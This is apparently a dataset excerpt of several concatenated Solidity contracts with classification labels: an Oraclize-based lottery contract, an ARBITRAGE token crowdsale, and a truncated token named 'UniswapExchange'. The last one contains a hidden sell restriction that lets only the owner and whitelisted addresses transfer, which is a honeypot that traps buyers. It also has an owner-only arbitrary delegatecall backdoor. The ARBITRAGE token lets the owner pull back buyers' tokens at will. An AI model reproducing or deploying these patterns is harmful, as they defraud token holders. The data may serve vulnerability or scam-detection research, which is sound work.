function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity 0.4.25;
contract DrawContract is usingOraclize {
mapping(bytes32 => bool) validIds;
event LogQueryId(bytes32 queryId);
event LogNewOraclizeQuery(string description);
address owner;
constructor () payable public {
owner = msg.sender;
}
function () payable public {
require(msg.sender == owner);
}
function __callback(bytes32 myid, string result) public {
if (!validIds[myid]) revert();
if (msg.sender != oraclize_cbAddress()) revert();
delete validIds[myid];
}
function draw(string url, string lotterySlug, string drawDate) payable external {
require(msg.sender == owner);
if (oraclize_getPrice("URL") > address(this).balance) {
emit LogNewOraclizeQuery("false");
} else {
bytes32 queryId = oraclize_query("URL", url);
validIds[queryId] = true;
emit LogQueryId(queryId);
emit LogNewOraclizeQuery("true");
}
}
} | 0 | 797 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldXRPCToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract ARBITRAGEToken is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "ARBITRAGE";
string public constant symbol = "ARB";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000;
address ownerWallet;
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function ARBITRAGEToken(address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] >= tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount);
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
}
contract ARBITRAGECrowdsale {
struct Stakeholder
{
address stakeholderAddress;
uint stakeholderPerc;
}
using SafeMath for uint256;
ARBITRAGEToken public token;
OldXRPCToken public prevXRPCToken;
uint256 public startTime;
Stakeholder[] ownersList;
address public walletOwner;
Stakeholder stakeholderObj;
uint256 public coinPercentage = 5;
uint256 public ratePerWei = 1657;
uint256 public maxBuyLimit=2000;
uint256 public tokensSoldInThisRound=0;
uint256 public totalTokensSold = 0;
uint256 public weiRaised;
bool public isCrowdsalePaused = false;
address partnerHandler;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function ARBITRAGECrowdsale(address _walletOwner, address _partnerHandler) public {
prevXRPCToken = OldXRPCToken(0xAdb41FCD3DF9FF681680203A074271D3b3Dae526);
startTime = now;
require(_walletOwner != 0x0);
walletOwner=_walletOwner;
stakeholderObj = Stakeholder({
stakeholderAddress: walletOwner,
stakeholderPerc : 100});
ownersList.push(stakeholderObj);
partnerHandler = _partnerHandler;
token = createTokenContract(_walletOwner);
}
function createTokenContract(address wall) internal returns (ARBITRAGEToken) {
return new ARBITRAGEToken(wall);
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require (isCrowdsalePaused != true);
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(ratePerWei);
require(tokensSoldInThisRound.add(tokens)<=maxBuyLimit);
weiRaised = weiRaised.add(weiAmount);
token.mint(walletOwner, beneficiary, tokens);
tokensSoldInThisRound=tokensSoldInThisRound+tokens;
TokenPurchase(walletOwner, beneficiary, weiAmount, tokens);
totalTokensSold = totalTokensSold.add(tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
forwardFunds(partnerCoins);
}
function forwardFunds(uint256 partnerTokenAmount) internal {
for (uint i=0;i<ownersList.length;i++)
{
uint percent = ownersList[i].stakeholderPerc;
uint amountToBeSent = msg.value.mul(percent);
amountToBeSent = amountToBeSent.div(100);
ownersList[i].stakeholderAddress.transfer(amountToBeSent);
if (ownersList[i].stakeholderAddress!=walletOwner && ownersList[i].stakeholderPerc>0)
{
token.mint(walletOwner,ownersList[i].stakeholderAddress,partnerTokenAmount);
}
}
}
function updateOwnerShares(address[] partnersAddresses, uint[] partnersPercentages) public{
require(msg.sender==partnerHandler);
require(partnersAddresses.length==partnersPercentages.length);
uint sumPerc=0;
for(uint i=0; i<partnersPercentages.length;i++)
{
sumPerc+=partnersPercentages[i];
}
require(sumPerc==100);
delete ownersList;
for(uint j=0; j<partnersAddresses.length;j++)
{
delete stakeholderObj;
stakeholderObj = Stakeholder({
stakeholderAddress: partnersAddresses[j],
stakeholderPerc : partnersPercentages[j]});
ownersList.push(stakeholderObj);
}
}
function validPurchase() internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
function showMyTokenBalance() public view returns (uint256 tokenBalance) {
tokenBalance = token.showMyTokenBalance(msg.sender);
}
function pullBack(address buyer) public {
require(msg.sender==walletOwner);
uint bal = token.balanceOf(buyer);
token.pullBack(walletOwner,buyer,bal);
}
function setPriceRate(uint256 newPrice) public returns (bool) {
require(msg.sender==walletOwner);
ratePerWei = newPrice;
}
function setMaxBuyLimit(uint256 maxlimit) public returns (bool) {
require(msg.sender==walletOwner);
maxBuyLimit = maxlimit *10 ** 18;
}
function startNewICORound(uint256 maxlimit, uint256 newPrice) public returns (bool) {
require(msg.sender==walletOwner);
setMaxBuyLimit(maxlimit);
setPriceRate(newPrice);
tokensSoldInThisRound=0;
}
function getCurrentICORoundInfo() public view returns
(uint256 maxlimit, uint256 newPrice, uint tokensSold) {
return(maxBuyLimit,ratePerWei,tokensSoldInThisRound);
}
function pauseCrowdsale() public returns(bool) {
require(msg.sender==walletOwner);
isCrowdsalePaused = true;
}
function resumeCrowdsale() public returns (bool) {
require(msg.sender==walletOwner);
isCrowdsalePaused = false;
}
function tokensRemainingForSale() public view returns (uint256 balance) {
balance = token.balanceOf(walletOwner);
}
function checkOwnerShare (address owner) public constant returns (uint share) {
require(msg.sender==walletOwner);
for(uint i=0;i<ownersList.length;i++)
{
if(ownersList[i].stakeholderAddress==owner)
{
return ownersList[i].stakeholderPerc;
}
}
return 0;
}
function changePartnerCoinPercentage(uint percentage) public {
require(msg.sender==walletOwner);
coinPercentage = percentage;
}
function airDropToOldTokenHolders(address[] oldTokenHolders) public {
require(msg.sender==walletOwner);
for(uint i = 0; i<oldTokenHolders.length; i++){
if(prevXRPCToken.balanceOf(oldTokenHolders[i])>0)
{
token.mint(walletOwner,oldTokenHolders[i],prevXRPCToken.balanceOf(oldTokenHolders[i]));
}
}
}
function changeWalletOwner(address newWallet) public {
require(msg.sender==walletOwner);
walletOwner = newWallet;
}
} | 1 | 2,871 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
